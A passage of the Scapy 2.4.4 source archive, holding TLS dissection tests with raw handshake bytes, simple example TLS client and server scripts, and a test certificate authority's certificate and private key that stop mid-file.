Wildcard1\x130\x11\x06\x03U\x04\x03\x0c\n*.mql5.net0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xcb\xbcn=\xbaGd\xe1XB\x07\xc9\xb1\xc8/\x86\xaa4Z\xbdNk\xfb\xffR\x8f\xe4\x1c^\x91m8\xb9^\x97\xa5\xd3N\xfb\x80\x92\x8ap\xda\x15\x9f\xee\xe7\xb3\xc8?\xb0>~\xaa\x07\x91\xb1\x99q\xe2\xe5\xc8\x9b\x1d5\xa0\x96,\x98\xdaW\x93\x95\x8e%\xe8\xd4L\xeb\xcbSg\x15"\xba\xb7\xc7\x1f\xe9\xd6\x1a\xe6E\x1d\xc8\x1e%\xd36\xe0/r\xd1\xce1C\xce\x91&\xa1\x08*R\xbf\x8cu\xb0\xda\x0e\x1e2\xd66\x1df&3\x9b\x03\x0b\xcam:\xf7\x12\xd9ud(\xae\xdc\xbci\x85\xbd\xcf\xeb{\x15:\xbd\x0e\x11\x1bi\xd8\xff]y~E\x15\x95\xee\xe9\xea\xc6Cr!=~y0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x17\x7f\x18\x82[\t\x18@R@\xa6\xb7\xc5[\xf1su\xc7\x8cG?\xf7\x91\xe2E]\x1b\x7f\xc3su\x88\xb6\x17t\xc3\x8b\xb1g\xd2\x06\xfc\x82\x84\x8d\xbb\x13\xc1\x8c\xf71\xc0>(?\xa3\xf0P\x14Z\x8a\x97\x9c\xa3\xb1!ddy\xa3 .\xdb\xd3\xfb\xa6\x0b\xf7k\xdbP\xb48\xeb\xc7\x90\x00\xa9\x90\xa4\x9d\xbf\x9c\xa7\n\x8e\x90\xfe\x8f\xa3\x95Th\xe6,\xdd\xde\xde\x06\x0b\x8e+\xf5\xca\x85>n\xbf\xd87\xff\xe3\xd2|*\xc0\x89\x07\x95\xbeV\x90:lG[\xf0\xadUF\xa1\x88nmj\xbb\xa9\x16\x90\xdd\x84\xe4\xbf\xe7\xe8\xe3"\xd4+0\xa0d\xdc.\x8e\x85+\xbd\x99\xd8\x02\xa7K}\xb1\xc4\xed;\xe2\xaf\x81R\xceJ\xb9iZ\xec\xda\x8f`\x8eI\xf6]\x83-\x9e\xa7{]\x02\x9d\x1fh\xf4\xef\x14\xf4\xb3\x0e\r\xe6\x9b\x9d\x96\xb4\x90iWA\xe0\xf4\x1d_\xbeRD\x15a;?\t\x8c\x8f6\xea!\xf2\xd6/Yg\x82e/5\xe1\xb4\xa1\x94\xef\xd7\x94\x82\x04\x00\x06\x170\x82\x06\x130\x82\x03\xfb\xa0\x03\x02\x01\x02\x02\x10}[Q&\xb4v\xba\x11\xdbt\x16\x0b\xbcS\r\xa70\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0c\x05\x000\x81\x881\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x130\x11\x06\x03U\x04\x08\x13\nNew Jersey1\x140\x12\x06\x03U\x04\x07\x13\x0bJersey City1\x1e0\x1c\x06\x03U\x04\n\x13\x15The USERTRUST Network1.0,\x06\x03U\x04\x03\x13%USERTrust RSA Certification Authority0\x1e\x17\r181102000000Z\x17\r301231235959Z0\x81\x8f1\x0b0\t\x06\x03U\x04\x06\x13\x02GB1\x1b0\x19\x06\x03U\x04\x08\x13\x12Greater Manchester1\x100\x0e\x06\x03U\x04\x07\x13\x07Salford1\x180\x16\x06\x03U\x04\n\x13\x0fSectigo Limited1705\x06\x03U\x04\x03\x13.Sectigo RSA Domain Validation Secure Server CA0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xd6s3\xd6\xd7< \xd0\x00\xd2\x17E\xb8\xd6>\x07\xa2?\xc7A\xee20\xc9\xb0l\xfd\xf4\x9f\xcb\x12\x98\x0f-?\x8dM\x01\x0c\x82\x0f\x17\x7fb.\xe9\xb8Hy\xfb\x16\x83N\xad\xd72%\x93\xb7\x07\xbf\xb9P?\xa9L\xc3@*\xe99\xff\xd9\x81\xca\x1f\x162A\xda\x80&\xb9#z\x87 \x1e\xe3\xff \x9a<\x95Do\x87u\x06\x90@\xb42\x93\x16\t\x10\x08#>\xd2\xdd\x87\x0fo]Q\x14j\ni\xc5O\x01ri\xcf\xd3\x93Lm\x04\xa0\xa3\x1b\x82~\xb1\x9a\xb9\xed\xc5\x9e\xc57x\x9f\x9a\x084\xfbV.X\xc4\t\x0e\x06d[\xbc7\xdc\xf1\x9f(h\xa8V\xb0\x92\xa3\\\x9f\xbb\x88\x98\x08\x1b$\x1d\xab0\x85\xae\xaf\xb0.\x9ez\x9d\xc1\xc0B\x1c\xe2\x02\xf0\xea\xe0J\xd2\xef\x90\x0e\xb4\xc1@\x16\xf0o\x85BJd\xf7\xa40\xa0\xfe\xbf.\xa3\'Z\x8e\x8bX\xb8\xad\xc3\x19\x17\x84c\xedoV\xfd\x83\xcb`4\xc4t\xbe\xe6\x9d\xdb\xe1\xe4\xe5\xca\x0c_\x15\x02\x03\x01\x00\x01\xa3\x82\x01n0\x82\x01j0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14Sy\xbfZ\xaa+J\xcfT\x80\xe1\xd8\x9b\xc0\x9d\xf2\xb2\x03f\xcb0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\x8d\x8c^\xc4T\xad\x8a\xe1w\xe9\x9b\xf9\x9b\x05\xe1\xb8\x01\x8da\xe10\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x01\x860\x12\x06\x03U\x1d\x13\x01\x01\xff\x04\x080\x06\x01\x01\xff\x02\x01\x000\x1d\x06\x03U\x1d%\x04\x160\x14\x06\x08+\x06\x01\x05\x05\x07\x03\x01\x06\x08+\x06\x01\x05\x05\x07\x03\x020\x1b\x06\x03U\x1d \x04\x140\x120\x06\x06\x04U\x1d \x000\x08\x06\x06g\x81\x0c\x01\x02\x010P\x06\x03U\x1d\x1f\x04I0G0E\xa0C\xa0A\x86?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v\x06\x08+\x06\x01\x05\x05\x07\x01\x01\x04j0h0?\x06\x08+\x06\x01\x05\x05\x070\x02\x863http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%\x06\x08+\x06\x01\x05\x05\x070\x01\x86\x19http://ocsp.usertrust.com0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0c\x05\x00\x03\x82\x02\x01\x002\xbfa\xbd\x0eH\xc3O\xc7\xbaGM\xf8\x9cx\x19\x01\xdc\x13\x1d\x80o\xfc\xc3p\xb4R\x9a13\x9aWR\xfb1\x9ek\xa4\xefT\xaa\x89\x8d@\x17h\xf8\x11\x10|\xd2\xca\xb1\xf1U\x86\xc7\xee\xb36\x91\x86\xf69Q\xbfF\xbf\x0f\xa0\xba\xb4\xf7~I\xc4*6\x17\x9e\xe4h9z\xaf\x94NVo\xb2{;\xbf\n\x86\xbd\xcd\xc5w\x1c\x03\xb88\xb1\xa2\x1f_~\xdb\x8a\xdcFH\xb6h\n\xcf\xb2\xb5\xb4\xe24\xe4g\xa98f\t^\xd2\xb8\xfc\x9d(:\x17@\'\xc2rN)\xfd!<|\xcf\x13\xfb\x96,\xc51D\xfd\x13\xed\xd5\x9b\xa9ihw|\xee\xe1\xff\xa4\xf968\x08S9\xa2\x844\x9c\x19\xf3\xbe\x0e\xac\xd5$7\xeb#\xa8x\xd0\xd3\xe7\xef\x92Gdb9"\xef\xc6\xf7\x11\xbe"\x85\xc6fD$&\x8e\x102\x8d\xc8\x93\xae\x07\x9e\x83>/\xd9\xf9\xf5F\x8ec\xbe\xc1\xe6\xb4\xdc\xa6\xcd!\xa8\x86\n\x95\xd9.\x85&\x1a\xfd\xfc\xb1\xb6WBm\x95\xd13\xf69\x14\x06\x82A8\xf5\x8fX\xdc\x80[\xa4\xd5}\x95x\xfd\xa7\x9b\xff\xfd\xc5\xa8i\xab&\xe7\xa7\xa4\x05\x87[\xa9\xb7\xb8\xa3 \x0b\x97\xa9E\x85\xdd\xb3\x8b\xe5\x897\x8e)\r\xfc\x06\x17\xf68@\x0eB\xe4\x12\x06\xfb{\xf3\xc6\x11hb\xdf\xe3\x98\xf4\x13\xd8\x15O\x8b\xb1i\xd9\x10`\xbcd*\xea1\xb7\xe4\xb5\xa3:\x14\x9b&\xe3\x0b{\xfd\x02\x8e\xb6\x99\xc18\x97Y6\xf6\xa8t\xa2\x86\xb6^\xeb\xc6d\xea\xcf\xa0\xa3\xf9n\x9e\xba-\x11\xb6\x86\x98\x08X-\xc9\xac%d\xf2^u\xb48\xc1\xae\x7fZF\x83\xeaQ\xca\xb6\xf1\x99\x115k\xa5j{\xc6\x00\xb0\xe7\xf8\xbed\xb2\xad\xc8\xc2\xf1\xac\xe3Q\xea\xa4\x93\xe0y\xc8\xe1\x81@\xc9\n[\xe1\x12<\xc1`*\xe3\x97\xc0\x89B\xca\x94\xcfF\x98\x12i\xbb\x98\xd0\xc2\xd3\rrKGn\xe5\x93\xc42(c\x87C\xe4\xb02>\n\xd3K\xbf#\x9b\x14)A+\x9a\x04\x1f\x93-\xf1\xc79H<\xadZ\x12\x7f\x0c\x00\x01I\x03\x00\x17A\x04\x13\x1c\x02q\xd4m\x97\x01\x99\xcf\xf2\x80G\xa8\xe1\xdf\x1ak\xbf\x1fJ\xf9\x9e\xd0\x02\x01W\x9d\xb8\xbc*\xf9S\xb6\xbf\xb8\xf1\xc1\x89\xcd\x96C(\xa8|\x189\x13\xcd\xc5\xf7Q\x1e\xe17h~\x8c`\x1f8\x8e\xacq\x04\x01\x01\x00\xc1R`\xb8\x14!\xed\xb9\xbca\x9d0{\xb7\x95\x94\x80\x06\t.A\xcc\x82\x99\x89N_\xa1\x08M%#\x1fg\xb6\xa2\xfe\x00\xd6\xa8\xe9\x9fd\x91O\xdbzw\xbfS\x88?\xeb[2\x7f\xa1\xeb\xd1vmi_\x95\xd0A\x04`\x01+\x02\\\x99\xa0\xe9\n\xb5\xb5j\x85\x89J\x82\xf8\x00\xbb\xa3%\x14\x15D\xbf9\x12{\x9e\xca\x0e\x92\xdf\xbb\xfd\xd3\xc8\x0ez\x04n \x12\x01\xd2|\xc6t\xc36\xce>:J\xc3\x81+d\xbc\xb1\x1d\x8d\x00o\x00\xc9\xd4%\xb6\x90\x1f\xe1\xc5\x14\xb5Qk\x06\x1e\xf6{\xbdJ\xb2H\xcbf\xe9_mQ(\x9e4\x10U#\xcd4\x88\x1c\xfb\x03\x80(Q:\x9c\x0f\x16\xed\xad\xb4\x18k\t\xc5$\x97}~s\xc1\xca\xae\x9d\xd1q\x94\x9fi+Pj\x80:v\xc1z#\xf6\xee]ou~\xa3\xd9I\xce\xb8Z|\x1b\x8ep\xc6\x19\xb4A\x03\x92\x1bp\x16\x10\x0f\x84\xa9\x9f\xb7\xc9\x01\xc8^\x93\xaat\r\x87\x96\x86\xf6\xc5\xfe\x88\x13\xc3N\x0e\x00\x00\x00' p = TLS(a) p.clear_cache() assert raw(p) == a = Issue 2763 dd = conf.debug_dissector conf.debug_dissector = False p = Ether(b'RU\x10\x00\x02\x02RT\x00\x124V\x08\x00E\x00\x05\xc8\r\xd8\x00\x00@\x06\x96\x9d\x9c&\xce\x12\xc0\xa8\xa5\xd9\x01\xbb\xc0\x1f\x00w$\x02\x03\xbe\xc5#P\x10#(\x0b\x9e\x00\x00\x16\x03\x03\x0e4\x02\x00\x00M\x03\x03^\xfa\xb5~\x88\xdf\xdc#}\'\xa0\xff\xa2\xe2\xb5\xec\x0e\x93\xa8\xe0\xde\x01[\x13[F\x151 x\xc6\xcc `)\x00\x00\x8aZ\x90l\xda\x0b\xe1\xec[i\x13\xa7\x8e\xb9a\x98"\x8a7L\x9d\x90\xe0\x01\x06c$9\xc0\'\x00\x00\x05\xff\x01\x00\x01\x00\x0b\x00\x0c\x8e\x00\x0c\x8b\x00\x06n0\x82\x06j0\x82\x05R\xa0\x03\x02\x01\x02\x02\x10EY\xe8\x1c\x1e\x9a\xe0?X\xaa\xc3\xbc\xcd`jh0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000\x81\x8f1\x0b0\t\x06\x03U\x04\x06\x13\x02GB1\x1b0\x19\x06\x03U\x04\x08\x13\x12Greater Manchester1\x100\x0e\x06\x03U\x04\x07\x13\x07Salford1\x180\x16\x06\x03U\x04\n\x13\x0fSectigo Limited1705\x06\x03U\x04\x03\x13.Sectigo RSA Domain Validation Secure Server CA0\x1e\x17\r190309000000Z\x17\r210308235959Z0W1!0\x1f\x06\x03U\x04\x0b\x13\x18Domain Control Validated1\x1d0\x1b\x06\x03U\x04\x0b\x13\x14PositiveSSL Wildcard1\x130\x11\x06\x03U\x04\x03\x0c\n*.mql5.net0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xcb\xbcn=\xbaGd\xe1XB\x07\xc9\xb1\xc8/\x86\xaa4Z\xbdNk\xfb\xffR\x8f\xe4\x1c^\x91m8\xb9^\x97\xa5\xd3N\xfb\x80\x92\x8ap\xda\x15\x9f\xee\xe7\xb3\xc8?\xb0>~\xaa\x07\x91\xb1\x99q\xe2\xe5\xc8\x9b\x1d5\xa0\x96,\x98\xdaW\x93\x95\x8e%\xe8\xd4L\xeb\xcbSg\x15"\xba\xb7\xc7\x1f\xe9\xd6\x1a\xe6E\x1d\xc8\x1e%\xd36\xe0/r\xd1\xce1C\xce\x91&\xa1\x08*R\xbf\x8cu\xb0\xda\x0e\x1e2\xd66\x1df&3\x9b\x03\x0b\xcam:\xf7\x12\xd9ud(\xae\xdc\xbci\x85\xbd\xcf\xeb{\x15:\xbd\x0e\x11\x1bi\xd8\xff]y~E\x15\x95\xee\xe9\xea\xc6Cr~\xaa\x07\x91\xb1\x99q\xe2\xe5\xc8\x9b\x1d5\xa0\x96,\x98\xdaW\x93\x95\x8e%\xe8\xd4L\xeb\xcbSg\x15"\xba\xb7\xc7\x1f\xe9\xd6\x1a\xe6E\x1d\xc8\x1e%\xd36\xe0/r\xd1\xce1C\xce\x91&\xa1\x08*R\xbf\x8cu\xb0\xda\x0e\x1e2\xd66\x1df&3\x9b\x03\x0b\xcam:\xf7\x12\xd9ud(\xae\xdc\xbci\x85\xbd\xcf\xeb{\x15:\xbd\x0e\x11\x1bi\xd8\xff]y~E\x15\x95\xee\xe9\xea\xc6Cr2\x11\xc8\x9b\x86B9\x8dM\x12\xb7X\x1b\x19\xf3\x9d+\xa1\x98\x82\xca\xd7;$\xfb\t9\xb0\xbc\xc2\x95\xcf\x82)u\x16)?B \x17+M@\x8cVl\xad\xba\x0f4\x85\xb1\x7f@yqx\xb7\xa5\x04\xbb\x94\xf7\xb5A\x95\xee|\xeb\x8d\x0cyhY\xef\xcb\xb3\xfa>x\x1e\xeegLz\xdd\xe0\x99\xef\xda\xe7\xef\xb2\t]\xbe\x80 !\x05\x83,D\xdb]*v)\xa5\xb0#\x88t\x07T"\xd6)z\x92\xf5o-\x9e\xe7\xf8&+\x9cXe\x02\x03\x01\x00\x01\xa3o0m0\t\x06\x03U\x1d\x13\x04\x020\x000\x0b\x06\x03U\x1d\x0f\x04\x04\x03\x02\x05\xe00\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xa1+ p\xd2k\x80\xe5e\xbc\xeb\x03\x0f\x88\x9ft\xad\xdd\xf6\x130\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14fS\x94\xf4\x15\xd1\xbdgh\xb0Q725\xe1\xa4\xaa\xde\x07|0\x13\x06\x03U\x1d%\x04\x0c0\n\x06\x08+\x06\x01\x05\x05\x07\x03\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x81\x88\x92sk\x93\xe7\x95\xd6\xddA\xee\x8e\x1e\xbd\xa3HX\xa7A5?{}\xd07\x98\x0e\xb8,\x94w\xc8Q6@\xadY\t(\xc8V\xd6\xea[\xac\xb4\xd8?h\xb7f\xca\xe1V7\xa9\x00e\xeaQ\xc9\xec\xb2iI]\xf9\xe3\xc0\xedaT\xc9\x12\x9f\xc6\xb0\nsU\xe8U5`\xef\x1c6\xf0\xda\xd1\x90wV\x04\xb8\xab8\xee\xf7\t\xc5\xa5\x98\x90#\xea\x1f\xdb\x15\x7f2(\x81\xab\x9b\x85\x02K\x95\xe77Q{\x1bH.\xfb>R\xa3\r\xb4F\xa9\x92:\x1c\x1f\xd7\n\x1eXJ\xfa.Q\x8f)\xc6\x1e\xb8\x0e1\x0es\xf1\'\x88\x17\xca\xc8i\x0c\xfa\x83\xcd\xb3y\x0e\x14\xb0\xb8\x9b/:-\t\xe3\xfc\x06\xf0:n\xfd6;+\x1a\t*\xe8\xab_\x8c@\xe4\x81\xb2\xbc\xf7\x83g\x11nN\x93\xea"\xaf\xff\xa3\x9awWv\xd0\x0b8\xac\xf8\x8a\x945\x8e\xd7\xd4a\xcc\x01\xff$\xb4\x8fa#\xba\x88\xd7Y\xe4\xe9\xba*N\xb5\x15\x0f\x9c\xd0\xea\x06\x91\xd9\xde\xab\x0c\x00\x01I\x00@\xd1L\xf3\xe7\x8b\xdd\x98\xff\xb2\xf5Rd\xd6\x85\x0f\r{\x9f\xc2\xc0\x8aY\xbf.\xfb\xf0o\x96\xa5\xba;\x877qet\xe8\xe4K\xd7\xcb\xb8\xecAk>S\xe0\xa5\xc3\xfc\xe8\xde\xf1\xb0\xe5\x15s|\xb7\xe6D\x15+\x00\x03\x01\x00\x01\x01\x00H\xf1\x08\x88\xe9\xf8\xe6\xb2y\\\xf9\xf64\x95r\xf9\x8c]\x0b\x88%s\xee{\xd4\xa3{|Jd>\xfb\x01\x0b\xfdAf\xea\x13%\x1f\xcc\xba\xf8H\xed\xeb?u\x00\xc46\xe4\x9f!r\x99\xec\'!\xa1+\xe9\xcd;\xfa\x00a\xd1ME7\x9a\xc3C\xb2\xb0>\xec\x07\xff>\xb3\xa3\xbd\x8db\xa2\x17\x0b\xce\xe1H\xaf\xba_\xdc\x18\x83Fr^\xf6\xfd\x8f\xbd\xc1\xdf\xc3\xf9T\xc2RC\xfa1\xe1\x16\x94RgZ\xb1\xe8rycp\xaeEa@\xe2\xb7T\xe4\xaa7\x02\x1e\xb3\x0c_P\x14\xd9\x023]\xc9)\x1b\xd7]\xba\x8aS\x18\xe5\x88\x1e08W\xc7\xd5\xc0\x7f\xf6n\n>\x83_\r\t\x1f\x01\x99\xda\x88(\xbc\xd9\xb8!=\xb6%\x15wh\xacl)\xde\xb3-\x81M\xc6(,\xceom\x15W7\xcc\xd3\xe3\xc2e\xb4\x96\xf1\xfc\x1e\xa5?\xe1B\xbd\x00\x89\xc1\xd0t\xd6\xaa\xf8\xa7\x1f\xa1z}\x91M\x8egg\xa1}\x93\xaal\xec\x16@\xf3\xd7\x0b\x91\n\xcc\x0e\x00\x00\x00') assert p.msg[0].extlen is None assert p.msg[0].ext == [] assert [type(x) for x in a.msg] == [TLSServerHello, TLSCertificate, TLSServerKeyExchange, TLSServerHelloDone] ############################################################################### ############################ Automaton behaviour ############################## ############################################################################### # see test/tls/tests_tls_netaccess.uts scapy-2.4.4/test/tls/000077500000000000000000000000001372370053500144265ustar00rootroot00000000000000scapy-2.4.4/test/tls/__init__.py000066400000000000000000000003031372370053500165330ustar00rootroot00000000000000## This file is part of Scapy ## Copyright (C) 2016 Maxence Tury ## This program is published under a GPLv2 license """ Examples and test PKI for the TLS module. """ scapy-2.4.4/test/tls/example_client.py000077500000000000000000000071201372370053500177740ustar00rootroot00000000000000#!/usr/bin/env python ## This file is part of Scapy ## This program is published under a GPLv2 license """ Basic TLS client. A ciphersuite may be commanded via a first argument. Default protocol version is TLS 1.3. """ import logging import os import socket import sys logger = logging.getLogger("scapy") logger.addHandler(logging.StreamHandler()) basedir = os.path.abspath(os.path.join(os.path.dirname(__file__),"../../")) sys.path=[basedir]+sys.path from scapy.config import conf from scapy.utils import inet_aton from scapy.layers.tls.automaton_cli import TLSClientAutomaton from scapy.layers.tls.basefields import _tls_version_options from scapy.layers.tls.handshake import TLSClientHello, TLS13ClientHello from argparse import ArgumentParser psk = None parser = ArgumentParser(description='Simple TLS Client') parser.add_argument("--psk", help="External PSK for symmetric authentication (for TLS 1.3)") # noqa: E501 parser.add_argument("--no_pfs", action="store_true", help="Disable (EC)DHE exchange with PFS") parser.add_argument("--ciphersuite", help="Ciphersuite preference") parser.add_argument("--version", help="TLS Version", default="tls13") parser.add_argument("--ticket_in", dest='session_ticket_file_in', help="File to read a ticket from (for TLS 1.3)") parser.add_argument("--ticket_out", dest='session_ticket_file_out', help="File to write a ticket to (for TLS 1.3)") parser.add_argument("--res_master", help="Resumption master secret (for TLS 1.3)") parser.add_argument("--sni", help="Server Name Indication") parser.add_argument("--curve", help="ECC group to advertise") parser.add_argument("--debug", action="store_const", const=5, default=0, help="Enter debug mode") parser.add_argument("server", nargs="?", default="127.0.0.1", help="The server to connect to") parser.add_argument("port", nargs="?", type=int, default=4433, help="The TCP destination port") args = parser.parse_args() # By default, PFS is set if args.no_pfs: psk_mode = "psk_ke" else: psk_mode = "psk_dhe_ke" v = _tls_version_options.get(args.version, None) if not v: sys.exit("Unrecognized TLS version option.") try: socket.getaddrinfo(args.server, args.port) except socket.error as ex: sys.exit("Could not resolve host server: %s" % ex) if args.ciphersuite: ciphers = int(args.ciphersuite, 16) if ciphers not in list(range(0x1301, 0x1306)): ch = TLSClientHello(ciphers=ciphers) else: ch = TLS13ClientHello(ciphers=ciphers) else: ch = None server_name = args.sni # If server name is unknown, try server if not server_name and args.server: try: inet_aton(args.server) except socket.error: server_name = args.server if args.debug == 5: conf.logLevel = 10 conf.warning_threshold = 0 t = TLSClientAutomaton(server=args.server, dport=args.port, server_name=server_name, client_hello=ch, version=args.version, mycert=basedir+"/test/tls/pki/cli_cert.pem", mykey=basedir+"/test/tls/pki/cli_key.pem", psk=args.psk, psk_mode=psk_mode, resumption_master_secret=args.res_master, session_ticket_file_in=args.session_ticket_file_in, session_ticket_file_out=args.session_ticket_file_out, curve=args.curve, debug=args.debug) t.run() scapy-2.4.4/test/tls/example_server.py000077500000000000000000000052411372370053500200260ustar00rootroot00000000000000#!/usr/bin/env python ## This file is part of Scapy ## This program is published under a GPLv2 license """ Basic TLS server. A preferred ciphersuite may be provided as first argument. For instance, "sudo ./server_simple.py c014" will start a server accepting any TLS client connection. If provided, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA will be preferred to any other suite the client might propose. """ import os import sys import logging logger = logging.getLogger("scapy") logger.addHandler(logging.StreamHandler()) basedir = os.path.abspath(os.path.join(os.path.dirname(__file__),"../../")) sys.path=[basedir]+sys.path from scapy.config import conf from scapy.layers.tls.automaton_srv import TLSServerAutomaton from argparse import ArgumentParser parser = ArgumentParser(description='Simple TLS Server') parser.add_argument("--psk", help="External PSK for symmetric authentication (for TLS 1.3)") # noqa: E501 parser.add_argument("--no_pfs", action="store_true", help="Disable (EC)DHE exchange with PFS") # args.curve must be a value in the dict _tls_named_curves (see tls/crypto/groups.py) parser.add_argument("--curve", help="ECC curve to advertise (ex: secp256r1...") parser.add_argument("--cookie", action="store_true", help="Send cookie extension in HelloRetryRequest message") parser.add_argument("--client_auth", action="store_true", help="Require client authentication") parser.add_argument("--handle_session_ticket", action="store_true", help="Use session tickets. Auto enabled if file provided (for TLS 1.3)") # noqa: E501 parser.add_argument("--ticket_file", dest='session_ticket_file', help="File to write/read a ticket to (for TLS 1.3)") parser.add_argument("--debug", action="store_const", const=5, default=0, help="Enter debug mode") args = parser.parse_args() pcs = None # PFS is set by default... if args.no_pfs and args.psk: psk_mode = "psk_ke" else: psk_mode = "psk_dhe_ke" if args.debug == 5: conf.logLevel = 10 conf.warning_threshold = 0 t = TLSServerAutomaton(mycert=basedir+'/test/tls/pki/srv_cert.pem', mykey=basedir+'/test/tls/pki/srv_key.pem', preferred_ciphersuite=pcs, client_auth=args.client_auth, curve=args.curve, cookie=args.cookie, handle_session_ticket=args.handle_session_ticket, session_ticket_file=args.session_ticket_file, psk=args.psk, psk_mode=psk_mode, debug=args.debug) t.run() scapy-2.4.4/test/tls/pki/000077500000000000000000000000001372370053500152115ustar00rootroot00000000000000scapy-2.4.4/test/tls/pki/ca_cert.pem000066400000000000000000000024051372370053500173150ustar00rootroot00000000000000-----BEGIN CERTIFICATE----- MIIDiDCCAnCgAwIBAgIJALpa+1bjqpmeMA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV BAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz dCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAyNjQ1WhcN MjYwOTE2MTAyNjQ1WjBUMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0 YXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRYwFAYDVQQDDA1TY2FweSBUZXN0 IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0Gy5LahBQAwiGUrP ZLrBUIEZAlnsOkCd7Al+wJwaPFhMLy+nga0ubMuUBo4P9DQv729jpiRnu6Q1ScO3 PcRX5FNdEKxV9fLOWUJp5MIMz5k6snJ5+kEMouNXj/umUN+qHHyvgbDVEw7RroTN mLqnWs2Al5Rd0NAxp4lLoYdVUclXrlOGY7Ldkq4WAgdlJZQ6PiZyeoz6YNeoRNmR h4RGKDmzoSEKqsAUlozEg3seC1EbU0TtY9r3O09tEGegQUARIxXV3qpWjFxakax+ XzzldwuoIWMO7x8RqH9X3Y+ktcLOxiPhKmGqcR3kNyMcARatdIjdV0b3jAeH68of DVxXoQIDAQABo10wWzAdBgNVHQ4EFgQUZlOU9BXRvWdosFE3MjXhpKreB3wwHwYD VR0jBBgwFoAUZlOU9BXRvWdosFE3MjXhpKreB3wwDAYDVR0TBAUwAwEB/zALBgNV HQ8EBAMCAgQwDQYJKoZIhvcNAQELBQADggEBAJNnhilPvSXjGFSUNp5XG81i44lI wqsYcWl7cuNjFS8tqciMb1Q8Lr768+CPFYlf3OjwX43SCe621oKtRZV0O3bizSZd 5xuCAEsCe1jkk4d7Nxk13/AB2z6YKvWeud/vLAQpYIwzV/qExAOv+ZLAj46t6S/E h/A/kNEXqBE5e+yysTUVNz+moI7P8Sw91yXuiPMSWJ4rla+nmfFWaKTP9vjEmEHt a+LA8VUiR2dEeLcRnVCgVJc0+AS6EjG662AKyNYP4AcmUaFvBKRiJpEgZwNmmOen PjNAbNxzEk7bJMG8GUmwYJ9cYznBFBOzAJNyMkG8wSmMYN3NgdnD4KYHYVE= -----END CERTIFICATE----- scapy-2.4.4/test/tls/pki/ca_key.pem000066400000000000000000000032501372370053500171470ustar00rootroot00000000000000-----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDQbLktqEFADCIZ Ss9kusFQgRkCWew6QJ3sCX7AnBo8WEwvL6eBrS5sy5QGjg/0NC/vb2OmJGe7pDVJ w7c9xFfkU10QrFX18s5ZQmnkwgzPmTqycnn6QQyi41eP+6ZQ36ocfK+BsNUTDtGu hM2YuqdazYCXlF3Q0DGniUuhh1VRyVeuU4Zjst2SrhYCB2UllDo+JnJ6jPpg16hE 2ZGHhEYoObOhIQqqwBSWjMSDex4LURtTRO1j2vc7T20QZ6BBQBEjFdXeqlaMXFqR rH5fPOV3C6ghYw7vHxGof1fdj6S1ws7GI+EqYapxHeQ3IxwBFq10iN1XRveMB4fr yh8NXFehAgMBAAECggEAXSPpEO0604tYhaL30VTf5MD8Ux+qQFH2ALAxk5Nu6f6v dPq/yWSB9Z54NQGxQXk83qwRhQKJ1MHKCn/K2HBwsplKYpQRCgsKibrzJYZOQUuB fpNHzTzaj8Q2siJMLaH2HCrgJ33FinG55Fp2okTvWtWxHIvx7MnNFsh1IuceiqA3 5tVSR7+kMraJgJ9auRNRQbH273LzntVOzAt339Xd38izsQ7CvYERAQGabTwo6BEC nDFfhWXPaxRt5JcJWcJNYSxYKigMmDh4oGXSb+mZeuojcXYcaHzyAToAjZ6x2hXU Vjxo7JMK+gvhJvlOpY2tjMNIkRh1P7gLrBSP8XcxjQKBgQDtSIr8qooaswEQ9H8W Tkr5ciLU4u6Wfhp26+M6oHPv57bbJI7qN68Z3l+cbtLxSqj0bcop1V+xvQjWOD+/ ckNPm4aEmoIMP3a0oQARtJeR9uaos64uudc+1gpz9g7w+sO+khy9yAFdY1+9gsEi WqqbtVQ2e3RABoolr14Pcc222wKBgQDg3XAjcXupfsrDhQP5R45kY/eVFWUk7PMB jpPl6+ZfoB/vqUuCZBX3UYrFDe4O+n0R6oF9ACXLRsVuaG/IZYDFczsBvEr8WpOG 78lpTbgUwudKlnzSBl01aUZu7zpJ3oFhX1DgZspr72UfHl9+/NwezV4gFd0ZKGLO s/aLsh3eMwKBgDm3TH9a6A7IfbjnD8aYMqpsNca8kDYw5DUK+ZF4F9tB7HtvcAfO lZvgODdvyYWBmIkj72mvigBMr8qTkgX6QB8sAFNe1cUu5qvXAZJM8BVEDiT416Rr 9cxF+fLs5gN9q4E+Pxl2fcZ+dno9RMcbcKZBPAOokcVFEfNKrcFp+BTDAoGBAL42 0ztILgFs/fxysq/V9f+6CJ8WIB8iSVXR1A40hQXzH9DN9s/v9hzl32tdozkMb2wO 